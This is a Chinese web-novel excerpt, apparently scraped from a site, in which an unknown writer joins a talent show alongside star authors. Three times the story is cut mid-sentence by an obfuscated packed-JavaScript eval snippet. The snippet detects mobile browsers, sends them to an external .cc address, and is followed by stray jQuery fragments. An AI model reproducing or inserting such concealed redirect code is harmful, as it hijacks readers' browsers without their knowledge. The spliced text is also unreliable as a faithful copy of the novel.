《如何让读者对你欲罢不能?》
1. 糊穿地心
“我的左边是卖出亿万版权的言情女王,数十部热播剧,麾下粉丝无数。”
“我的右边是出书即霸榜热搜第一的流量男作者,周边同人卖到脱销,ip改编游戏电影数不胜数。”
“我的前面是古早退圈为爱发电神仙太太,是无数知名作者的白月光,一字千金难求有价无市。”
面对着对准自己的摄像机,秦段缓缓地吸了一口气。导演见状,便继续追问道:“不准备介绍一下你自己吗?电视机前的各位观众都对你感到很好奇啊!”
介绍自己......她抬起头,大脑中一瞬间闪过无数种说辞。
搞笑点的:
——“小女子不才,写作十年养活了三个废纸回收站。”
正经点的:
——“本人小学获得作文比赛省级冠军,长大后励志成为一名作家,目前成功获得千字五元高薪。”
网文点的:
——“三十年河东,三十年河西,莫欺少年穷!恕我直言,在座的各位都是垃圾。”
算了,这个就算了,这个起号教程比较吃主播本人的户口本。
秦段微微一笑,看向面前并不算多的摄像机,“我叫秦段,被选中参加《算了,写都写了》我万分荣幸,上节目我也没想要同台竞技成功,最大的愿望是替妹妹要到她cp镇圈太太的亲签!”
秦段说完,导播迅速切了一个镜头。
不远处,一位穿着白色连衣裙,外披褐色羊皮小外套的女子坐在短凳上,她噙着一抹微笑,不慌不忙地回答着导演提出的每个问题。她的长相不算惊艳,却很有书卷气息,举手投足之间让人觉得她的家世修养都很好。
不知是不是听见了秦段的声音,她的笑容有片刻的僵硬,但很快,她撩了一下垂下的发丝,扶了扶圆框眼镜,掩盖不自然的神色。
见到她撩了一下头发,看不见的弹幕又是一阵“女神我爱你”。
整整十五年没有产出新文的白月光突然出现在书粉的视线中,活生生的人,不再是冰冷的txt文包以及一段永不更文的声明。
相比较另外两位,林绾的名气最弱,可这并不代表她不能打。她是许多人的青春回忆,也是很多作者的白月光。
要知道,在她隐退的十五年间,有无数的新人进来又退出。在时间的长河里,她的文章始终屹立不倒,每一年的特定日子,都会有读者将她捧上热搜。
什么?你磕cp?那《无人区玫瑰》《真相是假》《错过》......就算你没看过,那也一定刷到过自家推的“神句”。
什么?你是二次元?那《致命温差》《十年》《截断反应》......一定在各个cp热榜抱过你!
什么?你是梦女?那《当你》《笼中鸟》《词不达意》......一定能把你甜的发慌。
总之,林绾做到了各个圈子都有她的马甲,做到了一己之力把冷圈变成烫圈,一年能产出百篇高质量的同人文——硬生生造就了她不败的神话。
而她所知道的很多当红大作者,包括各行各业一些知名从业人员,都曾经是林绾的读者或是粉丝。她开创出了一个流派,也诞生了属于自己的文风。
很难说在后面节目录制时,各位同人女的力气和手段会比另外两位的粉丝弱。
不过相比较林绾这边的热烈,秦段这边的弹幕就颇为冷淡了,一直都没什么人气。她倒不觉得有什么意外,毕竟相比较这些巨佬,她确实没什么看点。直到她半开玩笑似的提及要给妹妹带林绾亲签时,弹幕才寥寥飘过几句调侃或是嘲弄。
【天哪我好嫉妒!我也想要太太亲签!】
【妹妹有品,当年我都是在mp3里偷偷下载林绾的同人文,可以说是我写文的启蒙!】
【太太!这是我圈镇圈太太!!!】
【也是我家镇圈太太,你们都不许抢!】
【放屁,我家的!】
【别搞笑了......某些人能不能别蹭啊?自己怎么上的节目没数吗?】
【受够了,就凭一条微博也能上节目?这么起号浮木怎么办?】
【求糊咖退圈教程。】
......
负责秦段的pd见好不容易有些热度,连忙适时抛出下一个问题。而这个问题,则更为犀利了,而且这段话可以说是秦段上这档节目的决定性因素:
“你在微博上发了一段话,说只要给你一个机会,你能够爬的比各位老师更高——请问你是从哪里得出这番结论的呢?”
“凭什么认为自己能够和几位知名作者老师们相提并论呢?”
来了!
秦段微微挺直了身子,面上的表情依旧还是一副淡淡的模样,但其实内心慌成一团。当时节目海选的时候,她本来不想要报名。这种文学综艺近几年非常火,但大多都是选秀类的。也就是让一群未签约作者打擂台,最终光荣出道,签公司搞改编卖版权走上人生巅峰。
但这一档不一样。这一档节目的阵容......强大到恐怖了,一看就是和她这种十八线无缘的。
可偏偏节目组背后的投资商高强度冲浪,看到铺天盖地的网友留言——“这几个人文风太熟悉了,一眼望到头没意思”,所以后来在高压之下,节目组公开向全社会开放报名。
无论你是什么性别,什么职业,写过多少本书......只要你愿意,就有可能和大佬们同台竞技!
一下子节目的热度爆表,无数人都希望自己被选中。
而秦段,就是那个幸运儿。
她的亲妹拿着编辑好的一长串微博@了《算了,写都写了》官博,狂喷现在的作者都没有水平,不如让她上节目给大家开开眼!
微博刚发出去就被人追着骂了八百层。她的微博后台这辈子没有这么热闹过。
要不是她和秦琴从小关系就很好,她真的怀疑她是要取她性命。
由于这件事闹得太大且被人为炒作引流,她刚进节目组,其余几人都不怎么搭理她。她也能够理解,毕竟被一个名不见经传的糊咖作者骂自己写的什么都不算,那这么多年文圈不是白混了?
秦段在内心把自己那叛逆期的妹妹骂了一万次,可最后还是选择平复心情,挤出一抹微不可察的笑容出来:“都是营销,营销……呵呵。”
她敏锐的感觉到周围空气有一丝变化,面前的不少工作人员面上露出了一抹嫌恶的表情。但导演倒是对她的诚实感到意外,调侃了一句:“你本人和微博上风格相差挺大。”
言外之意就是:小喷子,线下被真实的滋味怎么样?
线下导演组不会把秦段怎样,但是网友可坐不住了,在网络上想要保住双亲的条件一是不发言,二是正确站队,但秦段的微博自己发出那段话后,显然是决定与全世界为敌。
【这种浮躁的人怎么可能写好小说?为了目的不择手段,是不是后面还要抄袭?】
【此人糊到全网查不到笔名,你们就让让她吧!】
【我都不敢想后面同台pk她会输多惨】
【滚滚滚!!!】
【宋之河宋之河宋之河宋之河......】
【老师我家宋之河回家都不爱笑了,能不能别安排一个差生当同桌?】
【服了,大炮轰蚊子......】
同台竞技。
这是节目最为核心的一个环节。这档节目第一季分为六期,前三期开始每一期会淘汰一名作者,并由新的作者进行补位。而最后三期则不再引入新作者,最终选出胜者。
而pk的方式是邀请演员来演绎作者临时编写的剧本,最后再由网友公投决定胜负。
秦段自从看到这个游戏规则后,就是不太想要参加节目的。但奈何节目组给的太多,她最终决定苟完一期就美美隐身。
一期五十万,谁看了不心动?更何况她这种小镇青年。
她的家境不算好,这个世界里写作是普通人能够迅速积累财富的常用手段,所以她小时候就开始拿手机写。
结果爸妈吵架把她手机摔的四分五裂,手机卡没收——连带着她手机里近百万的存稿。后来侄子要买手机,父母又背着她把她的小说存稿以低价贱卖。
五千块钱。
他们不觉得文字值钱,甚至对这个价格喜出望外。因此,当秦段刷视频看见当年某部爆火剧和她的原著一模一样,作者却另有其人时,心中只有一个字:
“草”
她全家的资源都给了父亲兄弟家的儿子,宁愿给侄子攒钱买房都不愿意给妹妹上补习班。
如果不上这档节目,她大概率毕业就会被家里人断了供,然后强行让她相亲嫁人。她知道,秦琴其实很爱看文,她发这段引战的话,只是想要为她赌一把。
这一次上节目,她也没有透露给家里分毫,好在除了秦琴外家里没人看综艺,她已经下定决心拿了这笔钱去大城市谋生,从此脱
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310521|167275||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
离家庭。
这么多年的挫折与打击,让她再也没有往日的意气风发,她最大的梦想就是赶紧拿了节目组的五十万通告费带秦琴逃离她的家庭。
而且,要快。
......
此时此刻,导演也问得差不多了。主要也是秦段的简历过于空白,在别人大谈特谈代表作的时候,她只能和导演组干瞪眼,一来二去直播间热度是断崖式惨淡。
而且秦段这种性格也不像是能够引起话题讨论度的,本以为她会和微博上一样狂妄自大,这样到时候淘汰她时才会给观众制造爽感,可她全程面无表情冷冷淡淡——让人不由怀疑她是不是其实是一个机器人。
娱乐圈是残酷的,有限的资源不会给一个没有价值的人,于是她的直播间早早下线,只留下一条——【期待第一期精彩直播】。
录制个预告都累死了......
众人散场,秦段总算是暗暗吐出一口气。
她从沙发上起身,余光瞥见一道靓影。就在她不远处,一位穿着黑白风衣,长卷波浪的女子斜靠在沙发上,慵懒地冲导播开玩笑,“番外是不可能写的,手机这么好玩,剧这么好追......别骂了别骂了,今晚回去就写两百字大长篇。”
“新书改编电视剧的男女主选角?别急,大家的微博留言我都有看~”
“明天开播,不知道你们准备怎么折腾我们三个。”
三个人?
一旁的小助理无声提醒她还有一个人,黑发女人摆了摆手,眼神中多了几分不耐烦,她挑了挑眉。
“没忘了第四位妹妹,但是她这么自信,想必节目组难不倒她。”
女人说着,拢了拢风衣外套,她胸口的名牌晃了晃,银白色的金属光辉有些刺眼。秦段站在阴影处,将那名牌上的名字收入眼底——宋之河。
这不是她第一次上节目,宋之河为人外向,和很多人的关系都很好。她可以说是顶流级别的人物。只要她有开新文的预告,其余作者全都会调开自己的发文档期,避其锋芒。不过现在她不在公司发文,而是走实体书和版权路线,成立了自己的工作室。
她的粉丝极为庞大——有一句话是这么说的“十本宋之河的改编剧,造就了半个内娱的狂欢”。
在作者和明星都被捧到台前,共用一片资源的背景下,书本改编所要考虑的就很多了,因此演员粉丝经常会和作者粉丝吵起来。就类似于捆绑营销多了总会惹人厌烦一样。
所以宋之河的口碑十分两极分化。一方面她拥有现象级的ip实力,另一方面粉丝基数过于庞大,导致路人缘很差。
秦段继续朝后走,又经过一位嘉宾身旁。他双腿交叠坐在沙发上,戴着一副无框眼镜,保持着一副微笑的模样,长相温柔气质内敛,是的,无论对面问什么问题,他的回答都是“嗯”“是的”“对”,这样敷衍的态度。
如果说宋之河是女频的代表人物,那么沈淮就是男频小说的公认第一。论玄幻修仙类,沈淮的《圣际》系列霸榜整整十年,此后更是诞生出同世界观的诸多巨著。论无限流,他有《轮回纪元》系列。论都市类,他又有《苍途》系列,可谓是全题材精通。
沈淮的大部分读者是男性,但女性读者也不在少数,因为他写的是无cp大男主文,而且基本每一本男主都得“美强惨”俱全。
和一些写着写着就掏出来一下的男作者不一样,沈淮写小说时有一种不把所有人当人的感觉。对,也没把自己的男主角当人。堪称在一众“虐女”的烂文中杀出了属于自己专属的“虐男”大男主文。
有几次主角生日直接变祭日。
因此他的书籍改编就没有宋之河那么好卖了,大多粉丝也不敢让自家正主演着演着就祭天。
她又悄悄逗留了一会,听见导演问——“对于明天的临时命题演绎,你觉得最大的队手是谁?”
会是谁?宋之河?如果导演组命题主要是情感方面,估计宋之河能碾压沈淮。
不过林绾也有可能,情感方面她写过冷门大热cp,精通各种be和he,而且文字优雅又令人过目不忘,还和现在的市场文截然不同。
“秦段吧。”沈淮思索了片刻。
......?
她微微睁大眼,她吗?!她配吗?
导演组也震惊了,预料到这有可能是一个爆点,他们立马把摄像机怼在沈淮的脸上,追问:“方便问一下您选择她的理由吗?”
2. 坚持日更
——“因为,我讨厌的人都火了。”
当晚,秦段坐在节目组的别墅内,脑海中还回荡着沈淮那句话,秦段一口气差点都呼不上来。
她是不是还得谢谢他?谢谢他的立flag之恩?
好歹她也追过几本他的文啊!
但是作为一个扑街十八线糊咖,秦段纵使在心里吐槽千百遍,最后还是在节目组安排下一个人先进了别墅,其余几人都还在采访,她就这样百无聊赖地在沙发上刷着手机。
为了应对明天的临时命题,节目组把他们四个都安排在了一栋别墅里。当然,住在别墅里对于她这种精通出租屋文学的底层社畜来说是天大的好事,但是秦段却一点都开心不起来。
因为节目组为了制造话题度,安排的是一间双人间和两间单人间。也就是说,势必会有一个人和另一个人挤在一间房内。
以后的节目录制不出意外也会拍到房间内的镜头。屏幕前的很多观众不满足于作者表面上呈现的状态,更想要知道他们会在什么样的情况下创作出一部作品,所以即使在房间休息,画面照拍不误。
但是作为作者,自然是更喜欢安静的环境创作,没人想要多一个舍友。
想一想,如果两方作息不一样,一个人需要早早入睡,而另一个人习惯半夜创作,那最后的结果就是双双悲催。
不只是秦段想到了这一点,结束录制来到别墅的另外三人也想到了这一点。他们刚刚抵达别墅,秦段便已经坐在了大厅内,她结束的太早,已经在这里喝了三杯茶了。
宋之河率先把行李箱推进来放在角落,放好后还问了林绾需不需要帮助,在又帮林绾放好行李箱后,看也没看秦段一眼,自顾自地走上楼。不一会,她清脆的声音传来:“这么大的别墅,只有三个房间——”
嗯,其他全是棋牌室,电影院,室内泳池......主打的就是没用但占位置。
林绾脸色白了白,她扭头,望向一旁默不作声的沈淮。沈淮个子比较高,她需要仰着头才能对话,她对沈淮道:“我有丈夫了,抱歉,和你住一起他会介意。”
“小宋,你愿意和我睡一间吗?”
秦段眼神闪了闪......林绾居然结婚了?不,林绾居然喊宋之河“小宋”?!
宋之河拖长音“嗯”了一声,面上似乎盖着一层阴霾。她收敛了自己一贯的笑意,眼神凌厉,嘴角朝下压,颇为不满地对林绾道:“绾绾,明明有三个房间,为什么是我们需要挤在一起?”这句话的重音落在“我们”。
“你结了婚的事圈里大家都知道,你本来就应该单独睡一间,真是的......偏偏多一个人。”她越说越轻,可话语却越来越重。
宋之河搓了搓脸,叹气一声,她撩了一下自己的长卷发,撑着下巴冲沈淮喊:“沈淮,委屈你一下,反正估计也就一期的事——”
秦段感到宋之河的视线似乎落在了她的身上,可转瞬之间又消失了。似乎刚才只是吊灯闪烁的光斑晃了一下秦段的眼睛。可接下来,林绾却是真真切切望向了她。
她似乎不太同意宋之河的观点,因此没有说话。而一旁的沈淮却皱了皱眉,他蓦然开口:“我习惯晚上写东西,会吵到她。”
又来一个把她毫不留情拒绝的。
她说的“一期的事”是因为每一期都会重新分配房间,而宋之河无比笃定她会在第一轮就淘汰。看她们几人的行李箱大小就能看出来,除了秦段外的几人,行李箱都在十六寸以上,摆明了是要录不短的时间。而秦段背个包就来了,根本没想过自己能录很久。
在节目录制期间,嘉宾不准离开别墅周围五公里内,日常生活都在摄像机录制下。
好在每一期录制完,就像是学生放假一样,能让他们回家探亲。
“宋老师。”
一道清脆又有些弱弱的声音响起。
众人看向出声的秦段。一向保持沉默的秦段扶了扶自己脸上的圆框眼镜,一双下垂的小狗眼往楼上宋之河的方向看过去,从一楼朝上望时,目光需要划过中央璀璨的琉璃水晶吊灯,和宋之河眼神交汇的刹那,秦段的眼中似乎还闪烁着细微的光彩。
宋之河愣了愣,不太自在地拢了拢自己的风衣外套,脸皱了皱,从鼻尖里冒出一个短促的音节。活脱脱不想要和秦段交流的样子。
此外的两人纷纷侧目,想要知道她到底要做什么。
只见秦段勾起一抹无害的笑,轻声道:“您和我睡一个房间,问题不就解决了?”
“这样,沈老师可以半夜码字,林老师也可以自己睡一个房间——一切只需要您做出一丁点的牺牲。况且我们都是女孩子,应该不存在什么不方便的情况。”
林绾点了点头,噗嗤一声捂住嘴笑了,揶揄道:“今晚有可能下雨打雷,你不是一向害怕吗?正好,小秦和你睡一间,你也有个伴呢。”说着,林绾还拍了拍秦段的肩膀,一下没拍到,她踮起脚拍了一下。
“林绾,你瞎说什么?”
还来不及等秦段消化这些巨大的信息量,楼上宋之河便忍不住出声,她耳根红透了,一脸便秘地盯着底下笑眯眯的林绾。
她为自己挽尊。
“我现在早就不害怕了,你怎么还抓着这一点不放?”
“反正我不会和她睡一个房间,想都别想。”
林绾不慌不忙拖着长音:“哦——”
“那你和沈老师睡一间?你知道,我睡的很早的,咱俩作息差太多了。”
“……”
宋之河就这样和她僵持不下,就当秦段准备妥协,自己一个人睡沙发,给这几位大佬腾位置时,宋之河的声音无端低了一些,听起来似乎还有些委屈。
“......行吧,今晚真要打雷。”
抬头一看,她不知何时一手抓住栏杆,一边掏出手机看天气预报了。
蹲在楼上像是一朵弱小无助的蘑菇。
天哪,宋之河居然真的害怕打雷......
林绾用胳膊肘抵了抵秦段的腰,一股痒痒劲直冲她的心窝,让秦段忍不住一个激灵。“小秦,快,你再邀请她一次试试?”林绾个子不高,因此和她说悄悄话的时候还得仰起头。
秦段率先感受到的是一股淡淡的清香,再回过神的时候,她邀请宋之河当舍友的话脱口而出。
这一次,宋之河一边纠结一边不情不愿地答应了。
完了还给她一个嫌弃的眼神。
*
和宋之河走进同一间房间的时候,秦段觉得自己整个人都在做梦。她站在房门旁,看着宋之河进门后一瞬间从精致姐感变成一坨软烂的年糕,还以为自己是菌子吃多了。
也许是因为事已至此,或是因为觉得秦段两三天就会走人,宋之河只是一言不发搬出自己的笔记本电脑,把帘子一拉,她的床和休息区域便和秦段相隔开来。
算了,互相不打扰也好。
秦段本来想要因为微博上的事和宋之河道个歉,但宋之河根本不给她接近她的机会。一帘之隔,她们却仿佛相隔千里。
秦段无形之中又增添几分自卑,对接下来的比赛更加没了把握,打定主意录完第一期就开溜。
等她洗完澡出来,她隐约能透过光看见对面的影子似乎趴在工作台上。宋之河居然还在写文。
有些人明明这么优秀,却还不肯放松—
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310522|167275||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
—秦段顿时自惭形秽。
秦段没发现宋之河的姿势很奇怪,如果把帘子拉开,她就会发现,宋之河趴在工作台上睡着了。
但秦段已然痛定思痛。
于是她连忙坐在床上打开自己的电脑,点进自己那篇扑街文,开始马不停蹄更新。
洋洋洒洒三千字更完,秦段退回主界面,扫了一眼自己那篇文的标题——《星际万人迷速成指南》,和其他几位相比,她写的文名就显得很常见。她自认为自己没什么天赋,因此这篇文申请签约被拒绝五次后,秦段就没有去自取其辱过,所以到目前为止这本书一直是未签约状态。
未签约等于未出道,甚至相当于没签合同的临时户。反正大部分文学公司不会给未签约作者曝光,秦段也懒得再换各种五花八门的公司平台了,索性继续写。
想到自己未来有可能一辈子都不会再有时间创造出属于自己的书,秦段准备在毕业前写完它,便依旧保持着日更的习惯。
好在,她的坚持吸引来了一撮读者,有读者悄悄拉了一个读者群。人不算多,只有寥寥五十人。
和她之前投稿被拒无数次烂在存稿箱里的故事们比,她已经心满意足了,
正巧,秦段收到了一条消息。
【太太爆红剩余天数(50)】
看见这个群名,秦段一阵尴尬的感动涌入心头。她的读者比她更希望她红......实在是非常有压力啊。
【你们看《算了,写都写了》吗?明天开播!林绾好美啊天哪!】
一石激起千层浪,原本潜水的众人顿时活跃起来。
【这档节目阵容真的好牛,最后谁获胜,别家粉丝都会不服吧?】
【欸,段子更新了!速看!】
秦段唇角抽搐,就因为她的笔名叫“段段落落”,读者亲切地称呼她为“段子”。她们以为她起了一个萌萌的笔名,其实她是讽刺自己的人生“落落落”。
话题突然引到她身上,于是讨论的主题就开始歪了。
【说到那个糊咖,就凭一篇引战微博上了节目,真是的,还不如让咱们段子上!秒她一大截!】
【我还是觉得段子写的文好看,就是不火.....也是让我小众上了。】
【第一次加读者群,我是真的喜欢这本书啊啊啊,能不能让咱们段子也火一回?】
【说起来好巧,那个素人也有个“段”,是不是预示着咱们段子要起飞?】
【我不管!除了宋之河,我最喜欢的就是段子,你一票我一票段子今晚就出道!】
【你忘了段子没签约?送不了票哈......】
【唉,要是上节目的是段段就好了@段段落落,段,你也在微博去骂!段段放心飞,出事自己背!火了别忘了送姐妹们一人一本亲签!】
【一口气看完了更新,卧槽......我震撼的无以复加】
【啊啊啊啊居然是这样的展开!!!我以为要完结了,结果你告诉我正文才开始!?】
【“他们将我捧上高台,为灰姑娘编织幻想;他们为我送上荣誉,平息贱民的怒火;他们献上利刃,令我亲手葬送自己的灵魂”】
【女主和男配同归于尽直接开始二周目了!】
【啊啊啊我宝好有实力,出道后不得是实力派作者呀!亲亲段宝妈妈爱你!】
秦段有时候觉得自己真的被这群逗逼捧得很飘,无论她觉得自己写的多差,群里大家都会真情实意夸她。她知道,这都是她们对她的安慰。
退出群聊,秦段又收到了秦琴一条消息。
秦琴:【姐,爸妈刚吵了一架。】
她心里一咯噔!
3. 倒霉惯了
秦段的心里一团乱麻,她脑子里已经把最坏的情况转了一遍了。她的父母经常为了一些鸡毛蒜皮的事情吵架,但秦琴这句话却让她心里升起一股不祥的预感,似乎有什么大事要来了一样。
是她爸妈又把存款给了侄子,还是他们发现了她上节目,要和节目组联系把她捉回家?
秦段深吸一口气,憋着心里的怒火,缓缓打字:【又为什么吵架?】
秦琴那头沉默了很久,最后只回了她一句十分简短的话,十分不符合她一贯欢脱的性格。其实秦段有时候很佩服秦琴,她似乎脑子里就没有任何烦心的事情似的,没心没肺。学习成绩不好,人缘倒是不错。
秦琴:【表弟来家里玩,非要住你房间,爸妈让你别回家惹人烦。】
不意外。
她甚至有些庆幸不是更糟的事情发生了。
幸好她没有父母的微信,否则又是一顿莫名其妙的辱骂。自从前段时间和家里决裂后,她和父母就只通过秦琴联系,反而和谐不少。
秦段:【谁要回家?等我拿钱走人,姐姐带你出去住大房子。】
秦琴:【(老板大气jpg)(姐姐贴贴jpg)】
直到睡前,秦段都没有再接收到一条新消息,她躺在别墅柔软的床上,手不自觉地抚上那昂贵的床垫......真好啊,真舒服。她要是拿到五十万,也能睡这么好的床吗?
就在秦段陷入美好的幻想时,隔壁传来一声浅浅的抱怨:
“这床这么硬怎么睡......不能换个好一点的床垫吗?”
秦段的心一揪,像是被人重重打了一巴掌,指尖被灼烧似的收回。她下意识抬眼望向将她们隔开的帘子,才发现不知何时宋之河已经躺到了床上,她一会翻身一会坐直,似乎怎么样都对这张床很不满意。
也许是实在睡不着,而秦段这一侧也没有关灯,宋之河的声音破天荒传来:“你在看我?”
秦段秒回:“对不起前辈。”
宋之河恹恹翻了个身,扯开了帘子的一角。她的长发倾泻而下,眼神幽怨,一双狐狸眼眯起,皱起眉,上上下下打量了她一会。终于,她再次开口,意味深长:“......你叫我前辈?你不是说我的文写的毫无逻辑,工业糖精?”
......该死。这是秦琴在微博上锐评宋之河的话。
不等秦段开口,宋之河叹气闭眼,再次睁眼时,她的眼底藏了许多看不懂的色彩:“算了,骂我的多了去了,不差你一个。”
“我期待你接下来的表现。”
秦段和宋之河视线交汇,咽下自己第二次酝酿好的解释,垂下眼只是默默回应:
“好。”
熄灯后,半夜下起了淅淅沥沥的雨,很快又变成倾盆大雨,最终如林绾所说......电闪雷鸣。
外面在下雨。
*
第二天早上七点,节目组照常敲响了她们的房门,秦段已经洗漱好,穿戴整齐坐在了书桌前。她余光瞥见另一边的隔帘还没有拉开,明明在同一个房间里,她却感觉宋之河那头似乎死了有一会了。
她要喊醒她吗......?
秦段陷入了纠结,她如果喊她的话,谁知道她有没有起床气?到时候万一节目组录制完隔壁,一推门进来,发现她和宋之河在吵架——她完蛋了。
可如果不叫的话,节目组推门进来,发现她一个人穿戴整齐,却不叫舍友起床——她完蛋了。
横竖都是挨骂。
隔壁隐约传来节目组采访的声音,导演组斗志昂扬,问一些诸如“昨晚休息的怎么样”“有信心迎接今天的挑战吗?”这种废话。
感觉节目组还得在隔壁浪费些时间,她决定还是要把宋之河喊醒。她不一定有起床气,但是她不喊她的话一定会被粉丝喷。秦段悄悄凑近,掀开了帘子的一角,她一边不看她,一边打开手机闹钟,准备一会装作“哎呀,闹铃居然响了那就没办法了”的样子来蒙混过去。
谁曾想,她还没来得及调出闹钟,宋之河略显疑惑的声音便从床上传来:“......你干嘛?”
秦段扯出一个不太明显但尽力的微笑,眼神别过去不看她,指着门外:“节目开始录制了,宋老师。”
宋之河扶额冷笑:“我只是喜欢赖床,不是耳聋。”
大约五分钟后,宋之河穿戴整齐掀开帘子。她今天穿了一套比较休闲的衣服,米色的衬衫上别了一枚银白色挂链胸针,披着一件羊毛外套。秦段见她打扮的也算是正式,又下意识照了照镜子。
镜子里的女生一头略显毛茸茸的短发,墨色的眼瞳中却散发阵阵疲惫的死气。整个人看上去有些生人勿近。她今天随便搭了一件外套,头发恹恹地搭在她耳后,戴着一副黑圆框眼镜,一张脸总是面无表情,看上去有些丧气。但看习惯了又让人觉得有些怪异的萌,丧萌的秦段默默打了个哈欠。
“叩叩叩......”
敲门声响起,门外导演组充满活力的声音传来,“马上就进入另外两位嘉宾的休息间了,不知道她们醒没醒呢?”
宋之河拉开门,迎面对上了节目组的长枪短炮和另外两位嘉宾的视线。林绾微微笑了一下,友好示意,宋之河则是大方招呼着:“早上好,昨晚你们休息得怎么样?”
沈淮点点头:“挺好的,刚刚节目组说等你们醒来才能公布选题。”
林绾好奇的目光在她和宋之河身上打转,没忍住悄悄捂住唇笑了。
“我还以为你得赖床呢,我都做好先和沈老师下楼吃饭的准备了。”
宋之河顿时做出一副受伤的表情,十分配合节目组做一些节目效果。果不其然,弹幕在这一刻多了起来:
【啊啊摸摸宝宝,小河狸赖床就赖床呗!妈妈爱你!】
【不是为什么别人都是单间,宋之河却和某个素人挤一间?节目组是不是排挤我家?】
【有些人为了上镜真是不择手段,有后台吧?当时微博选上的时候我就觉得有黑幕!】
【内定皇族吧......踩前辈上位呗。】
【昨晚河狸请假,会不会和她有关系啊!糟了,我害怕某人偷稿怎么办?】
【能别恶意揣测别人吗?】
【哇塞,水军合影,一条几毛?】
......
宋之河不会提昨晚发生的事,可是不代表网友不会脑补。秦段混迹互联网多年,都能预料到弹幕会怎么
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15310523|167275||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
骂她。
算了,钱难挣屎难吃。
秦段试图降低自己的存在感,朝后退了退,她在内心祈求这几位千万不要和她搭话,让她平安无事地结束今天的录制。别又爆出什么热搜来。
可事情偏就不如她愿。在第一期开始录制时,节目组都没给她一个吃早饭的时间就开始了搞事情——“秦老师,来代表各位嘉宾抽一张卡吧!”导演笑眯眯地让人搬进来一张小桌子,桌上摆着三张看上去一模一样的卡片。
秦老师?秦段一时之间居然没反应过来这个称呼是给她的。她从来只有喊别人老师的份,今天突然被尊称一句老师,让她一时有些心慌。
不点其他人,非点她?节目组卖什么关子?她心中阵阵不安,知道凡事能轮到自己的,绝不是什么好事。
果不其然,刚走到桌子前,导演便讲解道:“面前桌子上有三张卡片,难度分别对应简单,中等,困难,抽到哪一张,对应的就是哪一种抽象程度的命题。”
“比如简单对应的命题是‘逆袭’,那么中等便对应的是‘龟兔赛跑’,困难则对应的是更加抽象的‘寒枝绽春’。”
“严格来说,命题虽有难易之分,但各位作者擅长领域不同,所以严格意义上来说难度级别因人而异。总之——让我们来期待秦段会抽到哪一张牌吧!”
说完,全体目光向她看齐!
好家伙,这下子火力全都聚焦在她身上了!难怪没人愿意抽!
秦段绷住表情,心却提到了嗓子眼,额角冒出几滴冷汗。
她走在白桌前,心里默念“简单,简单.....”,闭着眼按住一张牌,深吸一口气,翻开!
黑色加粗字体的——【困难】
她两眼一黑。
导演喜出望外,当着摄像机的面翻开另外两张牌,【中等】和【简单】两张牌被摆在旁边,表示节目组没有暗箱操作,确实是秦段的运气不好。见她抽到了困难,她身后传来一道哀嚎声。
“坏了,我不擅长抽象命题——”
宋之河抓了抓头发,颇为哀怨地瞪了她这个倒霉鬼一眼。可节目组当然是巴不得他们越难越好,反正文又不是自己写,简单了大家发挥都好,怎么拉开距离?他们需要制造话题,尤其是“某某知名作家水平下跌,疑似江郎才尽?”这种充满热搜潜力的话题。
于是导演义正言辞地拒绝了宋之河的请求,并当着他们的面,在装满题目的透明箱子里盲选出了一个题目:
“小镇里的野雏花”
林绾露出微笑、沈淮面无表情、宋之河满脸复杂、秦段一脸释然。
她这才发现,原来题目简单或者难,对她而言都一样。反正都写的烂烂的很安心。
不过想到自己的目标是五十万而不是夺冠,秦段一阵轻松,甚至已经开始幻想一周后她拿这笔钱要怎么花了。
导演组偷笑:“接下来各位有一天的时间思考选题,一天时间完成创作。第三日早八点,会有我们邀请的神秘嘉宾抽取各位被改编好的剧本,并在舞台上倾情演绎。全民裁判人公投时间为三日,票数最后一名将被淘汰。”
“各位创作者们,拿起你们手中的笔,创造出属于你们的世界吧!”
4. 有想法吗?
他们只有一天的时间来构思这篇文章并把它变成剧本,秦段观察到宋之河从题目下来的那一刻就开始若有所思。似乎在思考这个命题该如何写。
秦段很少见到宋之河会在大众面前露出这样的表情,像是一个学生遇见了考试上的难题似的。
也对,一个抽象的题目,对于像她这样文风固定且对市场风向十分敏锐的作者来说,一个文艺又飘渺的题目无疑是让她走出自己的舒适圈。
秦段在内心默默冲她说了一句抱歉。她的运气就这样,要怪就怪节目组非要点她吧!
早上七点,众人坐在大厅吃着早餐,餐桌后的墙壁上挂着一块极具历史厚重感的时钟,像是悬挂在他们头顶无形的剑。林绾吃了几口就放下勺子进了房间门,宋之河还在发呆,碗里的粥都没怎么动。
